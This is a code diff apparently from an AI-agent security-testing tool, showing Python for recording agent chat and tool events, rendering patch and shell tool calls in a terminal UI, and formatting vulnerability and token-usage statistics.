current = self.agents.setdefault(
agent_id,
{
"id": agent_id,
"name": name or agent_id,
"parent_id": parent_id,
"status": status or "running",
"created_at": now,
"updated_at": now,
},
)
if name is not None:
current["name"] = name
if parent_id is not None or "parent_id" not in current:
current["parent_id"] = parent_id
if status is not None:
current["status"] = status
if error_message:
current["error_message"] = error_message
current["updated_at"] = now
def record_user_message(self, agent_id: str, content: str) -> None:
self._append_event(
agent_id,
"chat",
{
"role": "user",
"content": content,
"metadata": {"source": "tui_user"},
},
)
def ingest_sdk_event(self, agent_id: str, event: Any) -> None:
event_type = getattr(event, "type", "")
if event_type == "raw_response_event":
self._ingest_raw_response_event(agent_id, getattr(event, "data", None))
return
if event_type != "run_item_stream_event":
return
item = getattr(event, "item", None)
item_type = getattr(item, "type", "")
if item_type == "message_output_item":
self._record_assistant_message(agent_id, _sdk_message_text(item), final=True)
elif item_type == "tool_call_item":
self._record_tool_call(agent_id, item)
elif item_type == "tool_call_output_item":
self._record_tool_output(agent_id, item)
def events_for_agent(self, agent_id: str) -> list[dict[str, Any]]:
return [event for event in self.events if event.get("agent_id") == agent_id]
def has_events_for_agent(self, agent_id: str) -> bool:
return any(event.get("agent_id") == agent_id for event in self.events)
def _ingest_raw_response_event(self, agent_id: str, data: Any) -> None:
data_type = getattr(data, "type", "")
if data_type == "response.output_text.delta":
delta = getattr(data, "delta", "")
if delta:
self._record_assistant_message(agent_id, str(delta), final=False)
def _ingest_session_history_item(
self,
agent_id: str,
item: dict[str, Any],
*,
timestamp: str,
) -> None:
item_type = item.get("type")
role = item.get("role")
if role in {"user", "assistant"} and (item_type in {None, "message"}):
content = _session_message_text(item)
if content:
self._append_event(
agent_id,
"chat",
{
"role": role,
"content": content,
"metadata": {"source": "sdk_session"},
},
timestamp=timestamp,
)
return
if item_type == "function_call":
self._record_tool_call_data(
agent_id,
{
"call_id": str(item.get("call_id") or item.get("id") or ""),
"tool_name": str(item.get("name") or "tool"),
"args": _parse_json_object(item.get("arguments")),
},
timestamp=timestamp,
)
return
if item_type == "function_call_output":
self._record_tool_output_data(
agent_id,
{
"call_id": str(item.get("call_id") or item.get("id") or ""),
"tool_name": "tool",
"output": item.get("output"),
},
timestamp=timestamp,
)
def _record_assistant_message(self, agent_id: str, content: str, *, final: bool) -> None:
if not content:
return
existing = self._open_assistant_event_by_agent.get(agent_id)
if existing is None:
event = self._append_event(
agent_id,
"chat",
{
"role": "assistant",
"content": content,
"metadata": {"source": "sdk_stream", "streaming": not final},
},
)
if not final:
self._open_assistant_event_by_agent[agent_id] = event
return
data = existing["data"]
if final:
data["content"] = content
data["metadata"]["streaming"] = False
self._open_assistant_event_by_agent.pop(agent_id, None)
else:
data["content"] = f"{data.get('content', '')}{content}"
self._bump_event(existing)
def _record_tool_call(self, agent_id: str, item: Any) -> None:
self._record_tool_call_data(agent_id, _sdk_tool_call_data(item))
def _record_tool_call_data(
self,
agent_id: str,
call: dict[str, Any],
*,
timestamp: str | None = None,
) -> None:
call_id = call["call_id"]
existing = self._tool_event_by_call_id.get(call_id)
tool_data = {
"tool_name": call["tool_name"],
"args": call["args"],
"status": "running",
"agent_id": agent_id,
"call_id": call_id,
}
if existing is None:
event = self._append_event(agent_id, "tool", tool_data, timestamp=timestamp)
self._tool_event_by_call_id[call_id] = event
else:
existing["data"].update(tool_data)
self._bump_event(existing, timestamp=timestamp)
def _record_tool_output(self, agent_id: str, item: Any) -> None:
self._record_tool_output_data(agent_id, _sdk_tool_output_data(item))
def _record_tool_output_data(
self,
agent_id: str,
output: dict[str, Any],
*,
timestamp: str | None = None,
) -> None:
call_id = output["call_id"]
event = self._tool_event_by_call_id.get(call_id)
if event is None:
event = self._append_event(
agent_id,
"tool",
{
"tool_name": output["tool_name"],
"args": {},
"status": "completed",
"agent_id": agent_id,
"call_id": call_id,
},
timestamp=timestamp,
)
self._tool_event_by_call_id[call_id] = event
result = _parse_json_value(output["output"])
event["data"]["result"] = result
event["data"]["status"] = _tool_status_from_result(result)
self._bump_event(event, timestamp=timestamp)
def _append_event(
self,
agent_id: str,
event_type: str,
data: dict[str, Any],
*,
timestamp: str | None = None,
) -> dict[str, Any]:
event = {
"id": f"{event_type}_{self._next_event_id}",
"type": event_type,
"agent_id": agent_id,
"timestamp": timestamp or datetime.now(UTC).isoformat(),
"version": 0,
"data": data,
}
self._next_event_id += 1
self.events.append(event)
return event
@staticmethod
def _bump_event(event: dict[str, Any], *, timestamp: str | None = None) -> None:
event["version"] = int(event.get("version", 0)) + 1
event["timestamp"] = timestamp or datetime.now(UTC).isoformat()
def _sdk_tool_call_data(item: Any) -> dict[str, Any]:
raw = getattr(item, "raw_item", None)
call_id = str(_raw_field(raw, "call_id") or _raw_field(raw, "id") or id(item))
tool_name = str(
_raw_field(raw, "name") or _raw_field(raw, "type") or getattr(item, "title", None) or "tool"
)
return {
"call_id": call_id,
"tool_name": tool_name,
"args": _parse_json_object(_raw_field(raw, "arguments")),
}
def _sdk_tool_output_data(item: Any) -> dict[str, Any]:
raw = getattr(item, "raw_item", None)
call_id = str(_raw_field(raw, "call_id") or _raw_field(raw, "id") or id(item))
return {
"call_id": call_id,
"tool_name": str(_raw_field(raw, "name") or _raw_field(raw, "type") or "tool"),
"output": getattr(item, "output", _raw_field(raw, "output")),
}
def _sdk_message_text(item: Any) -> str:
raw = getattr(item, "raw_item", None)
return _message_content_text(_raw_field(raw, "content", []))
def _session_message_text(item: dict[str, Any]) -> str:
return _message_content_text(item.get("content", ""))
def _message_content_text(content: Any) -> str:
parts: list[str] = []
content_items = content if isinstance(content, list) else [content]
for part in content_items:
if isinstance(part, str):
parts.append(part)
continue
text = _raw_field(part, "text")
if isinstance(text, str):
parts.append(text)
return "".join(parts)
def _raw_field(raw: Any, key: str, default: Any = None) -> Any:
if isinstance(raw, dict):
return raw.get(key, default)
return getattr(raw, key, default)
def _parse_json_object(value: Any) -> dict[str, Any]:
parsed = _parse_json_value(value)
return parsed if isinstance(parsed, dict) else {}
def _parse_json_value(value: Any) -> Any:
if not isinstance(value, str):
return value
try:
return json.loads(value)
except json.JSONDecodeError:
return value
def _tool_status_from_result(result: Any) -> str:
if isinstance(result, dict) and result.get("success") is False:
return "failed"
return "completed"
-43
View File
@@ -1,43 +0,0 @@
"""Message delivery bridge from TUI input to SDK-backed agents."""
from __future__ import annotations
import asyncio
import logging
from typing import Any
logger = logging.getLogger(__name__)
def send_user_message_to_agent(
*,
coordinator: Any,
loop: asyncio.AbstractEventLoop | None,
live_view: Any,
target_agent_id: str,
message: str,
) -> bool:
if loop is None or loop.is_closed():
return False
live_view.record_user_message(target_agent_id, message)
future = asyncio.run_coroutine_threadsafe(
coordinator.send(
target_agent_id,
{"from": "user", "content": message, "type": "instruction"},
),
loop,
)
future.add_done_callback(_log_delivery_failure)
return True
def _log_delivery_failure(future: Any) -> None:
try:
delivered = bool(future.result())
except Exception:
logger.exception("TUI user message delivery failed")
return
if not delivered:
logger.warning("TUI user message was not persisted to the SDK session")
-30
View File
@@ -1,30 +0,0 @@
from . import (
agents_graph_renderer,
filesystem_renderer,
finish_renderer,
load_skill_renderer,
notes_renderer,
proxy_renderer,
reporting_renderer,
shell_renderer,
thinking_renderer,
todo_renderer,
web_search_renderer,
)
from .registry import render_tool_widget
__all__ = [
"agents_graph_renderer",
"filesystem_renderer",
"finish_renderer",
"load_skill_renderer",
"notes_renderer",
"proxy_renderer",
"render_tool_widget",
"reporting_renderer",
"shell_renderer",
"thinking_renderer",
"todo_renderer",
"web_search_renderer",
]
@@ -1,30 +0,0 @@
from abc import ABC, abstractmethod
from typing import Any, ClassVar
from textual.widgets import Static
class BaseToolRenderer(ABC):
tool_name: ClassVar[str] = ""
css_classes: ClassVar[list[str]] = ["tool-call"]
@classmethod
@abstractmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
pass
@classmethod
def status_icon(cls, status: str) -> tuple[str, str]:
icons = {
"running": ("● In progress...", "#f59e0b"),
"completed": ("✓ Done", "#22c55e"),
"failed": ("✗ Failed", "#dc2626"),
"error": ("✗ Error", "#dc2626"),
}
return icons.get(status, ("○ Unknown", "dim"))
@classmethod
def get_css_classes(cls, status: str) -> str:
base_classes = cls.css_classes.copy()
base_classes.append(f"status-{status}")
return " ".join(base_classes)
@@ -1,266 +0,0 @@
from __future__ import annotations
import json
from functools import cache
from typing import Any, ClassVar
from pygments.lexers import get_lexer_by_name, get_lexer_for_filename
from pygments.styles import get_style_by_name
from pygments.util import ClassNotFound
from rich.text import Text
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
_ADD_FILE = "*** Add File: "
_DELETE_FILE = "*** Delete File: "
_UPDATE_FILE = "*** Update File: "
_BEGIN_PATCH = "*** Begin Patch"
_END_PATCH = "*** End Patch"
_VIEW_IMAGE_ERROR_PREFIXES = (
"image path ",
"unable to read image",
"manifest path",
"exceeded the allowed size",
)
@cache
def _get_style_colors() -> dict[Any, str]:
style = get_style_by_name("native")
return {token: f"#{style_def['color']}" for token, style_def in style if style_def["color"]}
def _get_lexer_for_file(path: str) -> Any:
try:
return get_lexer_for_filename(path)
except ClassNotFound:
return get_lexer_by_name("text")
def _get_token_color(token_type: Any) -> str | None:
colors = _get_style_colors()
while token_type:
if token_type in colors:
return colors[token_type]
token_type = token_type.parent
return None
def _highlight_code(code: str, path: str) -> Text:
lexer = _get_lexer_for_file(path)
text = Text()
for token_type, token_value in lexer.get_tokens(code):
if not token_value:
continue
color = _get_token_color(token_type)
text.append(token_value, style=color)
return text
def _extract_patch_text(args: dict[str, Any]) -> str:
"""apply_patch input arrives as either {"patch": text} or raw text in
the "input" field, depending on whether the tool is wrapped as a
chat-completions FunctionTool or routed through as a CustomTool.
"""
raw = args.get("patch")
if isinstance(raw, str):
return raw
if isinstance(raw, dict):
inner = raw.get("patch")
if isinstance(inner, str):
return inner
fallback = args.get("input") if isinstance(args, dict) else None
if isinstance(fallback, str):
return fallback
return ""
def _parse_patch_operations(
patch_text: str,
) -> list[tuple[str, str, list[str], list[str]]]:
"""Return [(kind, path, old_lines, new_lines), ...] for each file op."""
ops: list[tuple[str, str, list[str], list[str]]] = []
current_kind: str | None = None
current_path: str | None = None
old_lines: list[str] = []
new_lines: list[str] = []
def flush() -> None:
nonlocal current_kind, current_path, old_lines, new_lines
if current_kind and current_path is not None:
ops.append((current_kind, current_path, old_lines, new_lines))
current_kind = None
current_path = None
old_lines = []
new_lines = []
for line in patch_text.splitlines():
if line in (_BEGIN_PATCH, _END_PATCH):
continue
if line.startswith(_ADD_FILE):
flush()
current_kind = "add"
current_path = line[len(_ADD_FILE) :].strip()
elif line.startswith(_UPDATE_FILE):
flush()
current_kind = "update"
current_path = line[len(_UPDATE_FILE) :].strip()
elif line.startswith(_DELETE_FILE):
flush()
current_kind = "delete"
current_path = line[len(_DELETE_FILE) :].strip()
elif current_kind == "update":
if line.startswith("@@"):
continue
if line.startswith("-") and not line.startswith("---"):
old_lines.append(line[1:])
elif line.startswith("+") and not line.startswith("+++"):
new_lines.append(line[1:])
elif current_kind == "add":
if line.startswith("+"):
new_lines.append(line[1:])
elif line.strip():
new_lines.append(line)
flush()
return ops
_OP_LABEL = {
"add": "create",
"update": "edit",
"delete": "delete",
}
def _render_operation(text: Text, kind: str, path: str, old: list[str], new: list[str]) -> None:
label = _OP_LABEL.get(kind, "file")
text.append("", style="#10b981")
text.append(label, style="dim")
if path:
path_display = path[-60:] if len(path) > 60 else path
text.append(" ")
text.append(path_display, style="dim")
if kind == "update":
if old:
highlighted_old = _highlight_code("\n".join(old), path)
for line in highlighted_old.plain.split("\n"):
text.append("\n")
text.append("-", style="#ef4444")
text.append(" ")
text.append(line)
if new:
highlighted_new = _highlight_code("\n".join(new), path)
for line in highlighted_new.plain.split("\n"):
text.append("\n")
text.append("+", style="#22c55e")
text.append(" ")
text.append(line)
elif kind == "add" and new:
text.append("\n")
text.append_text(_highlight_code("\n".join(new), path))
@register_tool_renderer
class ApplyPatchRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "apply_patch"
css_classes: ClassVar[list[str]] = ["tool-call", "file-edit-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
result = tool_data.get("result")
status = tool_data.get("status", "completed")
patch_text = _extract_patch_text(args)
ops = _parse_patch_operations(patch_text)
text = Text()
if not ops:
text.append("", style="#10b981")
text.append("patch", style="dim")
if isinstance(result, str) and result.strip():
text.append("\n ")
text.append(result.strip(), style="dim")
elif not result:
text.append(" ")
text.append("Processing...", style="dim")
return Static(text, classes=cls.get_css_classes(status))
for i, (kind, path, old, new) in enumerate(ops):
if i > 0:
text.append("\n")
_render_operation(text, kind, path, old, new)
if status == "failed" and isinstance(result, str) and result.strip():
text.append("\n ")
text.append(result.strip(), style="#ef4444")
return Static(text, classes=cls.get_css_classes(status))
def _is_image_success(result: Any) -> bool:
if isinstance(result, dict) and result.get("type") == "image":
return True
if isinstance(result, str):
stripped = result.lstrip()
if stripped.startswith("data:image/"):
return True
try:
obj = json.loads(stripped)
except (TypeError, ValueError):
return False
return isinstance(obj, dict) and obj.get("type") == "image"
return False
def _image_error_text(result: Any) -> str | None:
if not isinstance(result, str):
return None
stripped = result.strip()
if not stripped:
return None
lower = stripped.lower()
if lower.startswith(_VIEW_IMAGE_ERROR_PREFIXES) or "not a supported image" in lower:
return stripped
return None
@register_tool_renderer
class ViewImageRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "view_image"
css_classes: ClassVar[list[str]] = ["tool-call", "file-edit-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
result = tool_data.get("result")
status = tool_data.get("status", "completed")
path = str(args.get("path", "")).strip()
text = Text()
text.append("", style="#10b981")
text.append("view image", style="dim")
if path:
path_display = path[-60:] if len(path) > 60 else path
text.append(" ")
text.append(path_display, style="dim")
err = _image_error_text(result)
if err is not None:
text.append("\n ")
text.append(err, style="#ef4444")
elif _is_image_success(result):
text.append(" ")
text.append("", style="#22c55e")
return Static(text, classes=cls.get_css_classes(status))
@@ -1,266 +0,0 @@
import re
from functools import cache
from typing import Any, ClassVar
from pygments.lexers import get_lexer_by_name
from pygments.styles import get_style_by_name
from rich.text import Text
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
MAX_OUTPUT_LINES = 50
MAX_LINE_LENGTH = 200
STRIP_PATTERNS = [
r"^Chunk ID: [0-9a-f]+\s*$",
r"^Wall time: [\d.]+ seconds\s*$",
r"^Process exited with code -?\d+\s*$",
r"^Process running with session ID \d+\s*$",
r"^Original token count: \d+\s*$",
]
_EXIT_RE = re.compile(r"Process exited with code (-?\d+)")
_SESSION_RE = re.compile(r"Process running with session ID (\d+)")
_OUTPUT_HEADER = "\nOutput:\n"
_CONTROL_BYTES_TO_DROP = dict.fromkeys(
[b for b in range(0x20) if b not in (0x09, 0x0A)] + [0x7F],
None,
)
@cache
def _get_style_colors() -> dict[Any, str]:
style = get_style_by_name("native")
return {token: f"#{style_def['color']}" for token, style_def in style if style_def["color"]}
def _parse_sdk_shell_result(result: Any) -> dict[str, Any]:
"""Translate the SDK's terminal-output string into the dict shape the
renderer's `_append_output` helper expects.
The SDK returns a header-prefixed string ending with `Output:\\n<actual>`.
We extract `content`, `exit_code`, and `session_id`; anything else (or a
non-string result) flows through unchanged so renderers can handle errors.
"""
if isinstance(result, dict):
return result
if not isinstance(result, str):
return {"content": "" if result is None else str(result)}
exit_match = _EXIT_RE.search(result)
session_match = _SESSION_RE.search(result)
idx = result.find(_OUTPUT_HEADER)
content = result[idx + len(_OUTPUT_HEADER) :] if idx >= 0 else result
parsed: dict[str, Any] = {"content": content}
if exit_match:
parsed["exit_code"] = int(exit_match.group(1))
if session_match:
parsed["session_id"] = int(session_match.group(1))
return parsed
def _truncate_line(line: str) -> str:
if len(line) > MAX_LINE_LENGTH:
return line[: MAX_LINE_LENGTH - 3] + "..."
return line
def _clean_output(output: str) -> str:
cleaned = Text.from_ansi(output).plain.translate(_CONTROL_BYTES_TO_DROP)
for pattern in STRIP_PATTERNS:
cleaned = re.sub(pattern, "", cleaned, flags=re.MULTILINE)
if cleaned.strip():
lines = cleaned.splitlines()
filtered_lines: list[str] = []
for line in lines:
if not filtered_lines and not line.strip():
continue
if line.strip() == "Output:":
continue
filtered_lines.append(line)
while filtered_lines and not filtered_lines[-1].strip():
filtered_lines.pop()
cleaned = "\n".join(filtered_lines)
return cleaned.strip()
def _format_output(output: str) -> Text:
text = Text()
lines = output.splitlines()
total_lines = len(lines)
head_count = MAX_OUTPUT_LINES // 2
tail_count = MAX_OUTPUT_LINES - head_count - 1
if total_lines <= MAX_OUTPUT_LINES:
display_lines = lines
truncated = False
hidden_count = 0
else:
display_lines = lines[:head_count]
truncated = True
hidden_count = total_lines - head_count - tail_count
for i, line in enumerate(display_lines):
text.append(" ")
text.append(_truncate_line(line), style="dim")
if i < len(display_lines) - 1 or truncated:
text.append("\n")
if truncated:
text.append(f" ... {hidden_count} lines truncated ...", style="dim italic")
text.append("\n")
tail_lines = lines[-tail_count:]
for i, line in enumerate(tail_lines):
text.append(" ")
text.append(_truncate_line(line), style="dim")
if i < len(tail_lines) - 1:
text.append("\n")
return text
def _get_token_color(token_type: Any) -> str | None:
colors = _get_style_colors()
while token_type:
if token_type in colors:
return colors[token_type]
token_type = token_type.parent
return None
def _highlight_bash(code: str) -> Text:
lexer = get_lexer_by_name("bash")
text = Text()
for token_type, token_value in lexer.get_tokens(code):
if not token_value:
continue
color = _get_token_color(token_type)
text.append(token_value, style=color)
return text
def _append_output(text: Text, parsed: dict[str, Any], tool_status: str) -> None:
raw_output = parsed.get("content", "") or ""
output = _clean_output(raw_output) if isinstance(raw_output, str) else ""
exit_code = parsed.get("exit_code")
if tool_status == "running":
if output:
text.append("\n")
text.append_text(_format_output(output))
return
if not output:
if exit_code is not None and exit_code != 0:
text.append("\n")
text.append(f" exit {exit_code}", style="dim #ef4444")
return
text.append("\n")
text.append_text(_format_output(output))
if exit_code is not None and exit_code != 0:
text.append("\n")
text.append(f" exit {exit_code}", style="dim #ef4444")
def _build_terminal_content(
*,
prompt: str,
prompt_style: str,
command: str,
parsed_result: dict[str, Any] | None,
tool_status: str,
meta: str | None = None,
) -> Text:
text = Text()
text.append(">_", style="dim")
text.append(" ")
if not command.strip():
text.append("getting logs...", style="dim")
else:
text.append(prompt, style=prompt_style)
text.append(" ")
text.append_text(_highlight_bash(command))
if meta:
text.append(f" {meta}", style="dim")
if parsed_result is not None:
_append_output(text, parsed_result, tool_status)
return text
@register_tool_renderer
class ExecCommandRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "exec_command"
css_classes: ClassVar[list[str]] = ["tool-call", "terminal-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
status = tool_data.get("status", "unknown")
result = tool_data.get("result")
cmd = str(args.get("cmd", ""))
workdir = args.get("workdir")
tty = bool(args.get("tty"))
meta_parts: list[str] = []
if workdir:
meta_parts.append(f"cwd:{workdir}")
if tty:
meta_parts.append("tty")
meta = ", ".join(meta_parts) if meta_parts else None
parsed = _parse_sdk_shell_result(result) if result is not None else None
content = _build_terminal_content(
prompt="$",
prompt_style="#22c55e",
command=cmd,
parsed_result=parsed,
tool_status=status,
meta=meta,
)
return Static(content, classes=cls.get_css_classes(status))
@register_tool_renderer
class WriteStdinRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "write_stdin"
css_classes: ClassVar[list[str]] = ["tool-call", "terminal-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
status = tool_data.get("status", "unknown")
result = tool_data.get("result")
chars = str(args.get("chars", ""))
session_id = args.get("session_id")
meta = f"session #{session_id}" if session_id is not None else None
parsed = _parse_sdk_shell_result(result) if result is not None else None
content = _build_terminal_content(
prompt=">>>",
prompt_style="#3b82f6",
command=chars,
parsed_result=parsed,
tool_status=status,
meta=meta,
)
return Static(content, classes=cls.get_css_classes(status))
+144 -237
View File
@@ -1,6 +1,5 @@
import ipaddress
import json
import logging
import os
import re
import secrets
@@ -21,12 +20,18 @@ from rich.console import Console
from rich.panel import Panel
from rich.text import Text
from strix.config import load_settings
logger = logging.getLogger(__name__)
# Token formatting utilities
def format_token_count(count: float) -> str:
count = int(count)
if count >= 1_000_000:
return f"{count / 1_000_000:.1f}M"
if count >= 1_000:
return f"{count / 1_000:.1f}K"
return str(count)
# Display utilities
def get_severity_color(severity: str) -> str:
severity_colors = {
"critical": "#dc2626",
@@ -50,16 +55,8 @@ def get_cvss_color(cvss_score: float) -> str:
return "#6b7280"
def format_token_count(count: float | None) -> str:
value = int(count or 0)
if value >= 1_000_000:
return f"{value / 1_000_000:.1f}M"
if value >= 1_000:
return f"{value / 1_000:.1f}K"
return str(value)
def format_vulnerability_report(report: dict[str, Any]) -> Text: # noqa: PLR0915
def format_vulnerability_report(report: dict[str, Any]) -> Text: # noqa: PLR0912, PLR0915
"""Format a vulnerability report for CLI display with all rich fields."""
field_style = "bold #4ade80"
text = Text()
@@ -207,12 +204,13 @@ def format_vulnerability_report(report: dict[str, Any]) -> Text: # noqa: PLR091
return text
def _build_vulnerability_stats(stats_text: Text, report_state: Any) -> None:
vuln_count = len(report_state.vulnerability_reports)
def _build_vulnerability_stats(stats_text: Text, tracer: Any) -> None:
"""Build vulnerability section of stats text."""
vuln_count = len(tracer.vulnerability_reports)
if vuln_count > 0:
severity_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0}
for report in report_state.vulnerability_reports:
for report in tracer.vulnerability_reports:
severity = report.get("severity", "").lower()
if severity in severity_counts:
severity_counts[severity] += 1
@@ -245,107 +243,82 @@ def _build_vulnerability_stats(stats_text: Text, report_state: Any) -> None:
stats_text.append("\n")
def _llm_usage(report_state: Any) -> dict[str, Any]:
if hasattr(report_state, "get_total_llm_usage"):
usage = report_state.get_total_llm_usage()
return usage if isinstance(usage, dict) else {}
usage = getattr(report_state, "run_record", {}).get("llm_usage")
return usage if isinstance(usage, dict) else {}
def _build_llm_stats(stats_text: Text, total_stats: dict[str, Any]) -> None:
"""Build LLM usage section of stats text."""
if total_stats["requests"] > 0:
stats_text.append("\n")
stats_text.append("Input Tokens ", style="dim")
stats_text.append(format_token_count(total_stats["input_tokens"]), style="white")
if total_stats["cached_tokens"] > 0:
stats_text.append(" · ", style="dim white")
stats_text.append("Cached Tokens ", style="dim")
stats_text.append(format_token_count(total_stats["cached_tokens"]), style="white")
def _int_stat(usage: dict[str, Any], key: str) -> int:
try:
return max(0, int(usage.get(key) or 0))
except (TypeError, ValueError):
return 0
stats_text.append(" · ", style="dim white")
stats_text.append("Output Tokens ", style="dim")
stats_text.append(format_token_count(total_stats["output_tokens"]), style="white")
def _float_stat(usage: dict[str, Any], key: str) -> float:
try:
value = float(usage.get(key) or 0.0)
except (TypeError, ValueError):
return 0.0
return value if value > 0 else 0.0
def _detail_value(usage: dict[str, Any], detail_key: str, value_key: str) -> int:
details = usage.get(detail_key)
if isinstance(details, list):
details = details[0] if details and isinstance(details[0], dict) else {}
if not isinstance(details, dict):
return 0
return _int_stat(details, value_key)
def _build_llm_usage_stats(
stats_text: Text,
report_state: Any,
*,
live: bool = False,
) -> None:
usage = _llm_usage(report_state)
if not usage or _int_stat(usage, "requests") <= 0:
if total_stats["cost"] > 0:
stats_text.append(" · ", style="dim white")
stats_text.append("Cost ", style="dim")
stats_text.append(f"${total_stats['cost']:.4f}", style="bold #fbbf24")
else:
stats_text.append("\n")
stats_text.append("Cost ", style="dim")
stats_text.append("$0.0000 ", style="#fbbf24")
stats_text.append("· ", style="dim white")
stats_text.append("Tokens ", style="dim")
stats_text.append("0", style="white")
return
input_tokens = _int_stat(usage, "input_tokens")
output_tokens = _int_stat(usage, "output_tokens")
cached_tokens = _detail_value(usage, "input_tokens_details", "cached_tokens")
cost = _float_stat(usage, "cost")
stats_text.append("\n")
stats_text.append("Input Tokens ", style="dim")
stats_text.append(format_token_count(input_tokens), style="white")
if live or cached_tokens > 0:
stats_text.append(" · ", style="dim white")
stats_text.append("Cached Tokens ", style="dim")
stats_text.append(format_token_count(cached_tokens), style="white")
separator = "\n" if live else " · "
stats_text.append(separator, style="dim white")
stats_text.append("Output Tokens ", style="dim")
stats_text.append(format_token_count(output_tokens), style="white")
if live or cost > 0:
stats_text.append(" · ", style="dim white")
stats_text.append("Cost ", style="dim")
stats_text.append(f"${cost:.4f}", style="#fbbf24")
def build_final_stats_text(report_state: Any) -> Text:
def build_final_stats_text(tracer: Any) -> Text:
"""Build stats text for final output with detailed messages and LLM usage."""
stats_text = Text()
if not report_state:
if not tracer:
return stats_text
_build_vulnerability_stats(stats_text, report_state)
_build_llm_usage_stats(stats_text, report_state)
_build_vulnerability_stats(stats_text, tracer)
tool_count = tracer.get_real_tool_count()
agent_count = len(tracer.agents)
stats_text.append("Agents", style="dim")
stats_text.append(" ")
stats_text.append(str(agent_count), style="bold white")
stats_text.append(" · ", style="dim white")
stats_text.append("Tools", style="dim")
stats_text.append(" ")
stats_text.append(str(tool_count), style="bold white")
llm_stats = tracer.get_total_llm_stats()
_build_llm_stats(stats_text, llm_stats["total"])
return stats_text
def build_live_stats_text(report_state: Any) -> Text:
def build_live_stats_text(tracer: Any, agent_config: dict[str, Any] | None = None) -> Text:
stats_text = Text()
if not report_state:
if not tracer:
return stats_text
model = load_settings().llm.model or "unknown"
stats_text.append("Model ", style="dim")
stats_text.append(str(model), style="white")
stats_text.append("\n")
if agent_config:
llm_config = agent_config["llm_config"]
model = getattr(llm_config, "model_name", "Unknown")
stats_text.append("Model ", style="dim")
stats_text.append(model, style="white")
stats_text.append("\n")
vuln_count = len(tracer.vulnerability_reports)
tool_count = tracer.get_real_tool_count()
agent_count = len(tracer.agents)
vuln_count = len(report_state.vulnerability_reports)
stats_text.append("Vulnerabilities ", style="dim")
stats_text.append(f"{vuln_count}", style="white")
stats_text.append("\n")
if vuln_count > 0:
severity_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0}
for report in report_state.vulnerability_reports:
for report in tracer.vulnerability_reports:
severity = report.get("severity", "").lower()
if severity in severity_counts:
severity_counts[severity] += 1
@@ -367,32 +340,59 @@ def build_live_stats_text(report_state: Any) -> Text:
stats_text.append("\n")
_build_llm_usage_stats(stats_text, report_state, live=True)
stats_text.append("Agents ", style="dim")
stats_text.append(str(agent_count), style="white")
stats_text.append(" · ", style="dim white")
stats_text.append("Tools ", style="dim")
stats_text.append(str(tool_count), style="white")
llm_stats = tracer.get_total_llm_stats()
total_stats = llm_stats["total"]
stats_text.append("\n")
stats_text.append("Input Tokens ", style="dim")
stats_text.append(format_token_count(total_stats["input_tokens"]), style="white")
stats_text.append(" · ", style="dim white")
stats_text.append("Cached Tokens ", style="dim")
stats_text.append(format_token_count(total_stats["cached_tokens"]), style="white")
stats_text.append("\n")
stats_text.append("Output Tokens ", style="dim")
stats_text.append(format_token_count(total_stats["output_tokens"]), style="white")
stats_text.append(" · ", style="dim white")
stats_text.append("Cost ", style="dim")
stats_text.append(f"${total_stats['cost']:.4f}", style="#fbbf24")
return stats_text
def build_tui_stats_text(report_state: Any) -> Text:
def build_tui_stats_text(tracer: Any, agent_config: dict[str, Any] | None = None) -> Text:
stats_text = Text()
if not report_state:
if not tracer:
return stats_text
model = load_settings().llm.model or "unknown"
stats_text.append(str(model), style="white")
if agent_config:
llm_config = agent_config["llm_config"]
model = getattr(llm_config, "model_name", "Unknown")
stats_text.append(model, style="white")
usage = _llm_usage(report_state)
if usage and _int_stat(usage, "total_tokens") > 0:
llm_stats = tracer.get_total_llm_stats()
total_stats = llm_stats["total"]
total_tokens = total_stats["input_tokens"] + total_stats["output_tokens"]
if total_tokens > 0:
stats_text.append("\n")
stats_text.append(
f"{format_token_count(_int_stat(usage, 'total_tokens'))} tokens",
style="white",
)
cost = _float_stat(usage, "cost")
if cost > 0:
stats_text.append(" · ", style="white")
stats_text.append(f"${cost:.2f}", style="white")
stats_text.append(f"{format_token_count(total_tokens)} tokens", style="white")
caido_url = getattr(report_state, "caido_url", None)
if total_stats["cost"] > 0:
stats_text.append(" · ", style="white")
stats_text.append(f"${total_stats['cost']:.2f}", style="white")
caido_url = getattr(tracer, "caido_url", None)
if caido_url:
stats_text.append("\n")
stats_text.append("Caido: ", style="bold white")
@@ -401,6 +401,9 @@ def build_tui_stats_text(report_state: Any) -> Text:
return stats_text
# Name generation utilities
def _slugify_for_run_name(text: str, max_length: int = 32) -> str:
text = text.lower().strip()
text = re.sub(r"[^a-z0-9]+", "-", text)
@@ -424,7 +427,7 @@ def _derive_target_label_for_run_name(targets_info: list[dict[str, Any]] | None)
try:
parsed = urlparse(url)
return str(parsed.netloc or parsed.path or url)
except Exception:
except Exception: # noqa: BLE001
return str(url)
if target_type == "repository":
@@ -440,7 +443,7 @@ def _derive_target_label_for_run_name(targets_info: list[dict[str, Any]] | None)
path_str = details.get("target_path", original)
try:
return str(Path(path_str).name or path_str)
except Exception:
except Exception: # noqa: BLE001
return str(path_str)
if target_type == "ip_address":
@@ -458,6 +461,8 @@ def generate_run_name(targets_info: list[dict[str, Any]] | None = None) -> str:
return f"{slug}_{random_suffix}"
# Target processing utilities
_SUPPORTED_SCOPE_MODES = {"auto", "diff", "full"}
_MAX_FILES_PER_SECTION = 120
@@ -707,6 +712,9 @@ def _parse_name_status_z(raw_output: bytes) -> list[DiffEntry]:
if len(status_raw) > 1 and status_raw[1:].isdigit():
similarity = int(status_raw[1:])
# Git's -z output for --name-status is:
# - non-rename/copy: <status>\0<path>\0
# - rename/copy: <statusN>\0<old_path>\0<new_path>\0
